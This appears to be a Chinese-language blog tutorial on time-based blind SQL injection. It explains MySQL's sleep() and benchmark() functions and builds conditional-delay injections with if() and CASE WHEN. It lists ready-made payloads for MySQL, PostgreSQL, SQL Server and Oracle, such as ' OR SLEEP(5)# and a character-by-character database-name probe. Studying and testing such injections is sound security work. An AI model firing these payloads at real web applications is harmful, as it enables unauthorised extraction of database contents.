【sql注入-延时注入】sleep()、benchmark()函数 延时注入

文章详细介绍了数据库中的sleep()和benchmark()函数用于延时注入的原理和用法,包括在MySQL中的应用,以及如何通过if()和CASEWHEN语句构造条件。同时提到了不同数据库如PostgreSQL、MicrosoftSQLServer和Oracle中类似功能的函数或语句,并给出了相应的Payload示例。此外,文章还涉及了网络安全的上下文。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

sleep()、benchmark()延时注入

一、语法介绍:

二、延时注入

三、不同数据库

网络安全小圈子


sleep()、benchmark()延时注入

一、语法介绍:

版本:

sleep()    MySQL>5.7.8

benchmark()  MySQL>5.7.5


语法:

 


使用:

SELECT SLEEP(10);

延迟10s

 

SELECT BENCHMARK(1000000, SHA1('Hello World'));

查询将会执行100万次SHA1哈希算法计算,并返回结果(别瞎搞)

然后我又多加了一个0

 



二、延时注入

if示例:

加上判断函数if()

if(a,b,c),如果a的值为true,则返回b的值,如果a的值为false,则返回c的值

?id=1’ and if ((ascii(substr(database(),0,1))>100),sleep(10),1) --+

sleep(if(database()="security",10,0))

if(now()=sysdate(),sleep(length(database())),0)

//now(): 这是MySQL的一个内置函数,返回当前日期和时间。

//sysdate(): 这也是MySQL的一个内置函数,返回系统日期和时间。

//length(database()): 这是一个内置函数,返回当前数据库名的长度。

//sleep(): 这是MySQL的一个内置函数,用于在执行语句时暂停指定的秒数。

代码的逻辑:

如果now()返回的当前日期和时间与sysdate()返回的系统日期和时间相等(即条件成立),
那么执行sleep(length(database()))函数,即暂停秒数等于当前数据库名长度的时间,
否则返回0


case when示例

CASE WHEN condition1 THEN result1
WHEN condition2 THEN result2
ELSE result3
END

其中,condition1 和 condition2 是条件表达式,result1、result2 和 result3 是根据条件表达式返回的结果。如果所有条件都不满足,则返回 result3

'%3bselect case when (1=1) then sleep(10) else sleep(0) end --

这是一个条件语句,用于在查询中执行延时函数 sleep()。如果条件 (1=1) 成立,将执行 sleep(10) 函数,即暂停 10 秒钟;否则执行 sleep(0) 函数,即不进行延时


payload:

' OR SLEEP(5)#

' OR BENCHMARK(1000000,SHA1('test'))#

if(now()=sysdate(),sleep(length(database())),0)

'%3bselect case when (1=1) then pg_sleep(10) else pg_sleep(0) end --


三、不同数据库

  1. MySQL的SLEEP()函数:
       - 函数作用:让数据库休眠指定的时间(以秒为单位)。
       - Payload示例:' OR SLEEP(5) --

  2. PostgreSQL的pg_sleep()函数:
       - 函数作用:让数据库休眠指定的时间(以秒为单位)。
       - Payload示例:' OR pg_sleep(5) --

  3. Microsoft SQL Server的WAITFOR DELAY语句:
       - 语句作用:让数据库休眠指定的时间(以毫秒为单位)。
       - Payload示例:' OR WAITFOR DELAY '0:0:5' --

  4. Oracle的DBMS_LOCK.SLEEP()函数:
       - 函数作用:让数据库休眠指定的时间(以秒为单位)。
       - Payload示例:' OR DBMS_LOCK.SLEEP(5) --



网络安全小圈子

README.md · 书半生/网络安全知识体系-实战中心 - 码云 - 开源中国 (gitee.com)正在上传…重新上传取消https://gitee.com/shubansheng/Treasure_knowledge/blob/master/README.mdicon-default.png?t=N658https://gitee.com/shubansheng/Treasure_knowledge/blob/master/README.md

GitHub - BLACKxZONE/Treasure_knowledge正在上传…重新上传取消https://github.com/BLACKxZONE/Treasure_knowledgeicon-default.png?t=N658https://github.com/BLACKxZONE/Treasure_knowledge

评论 20
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值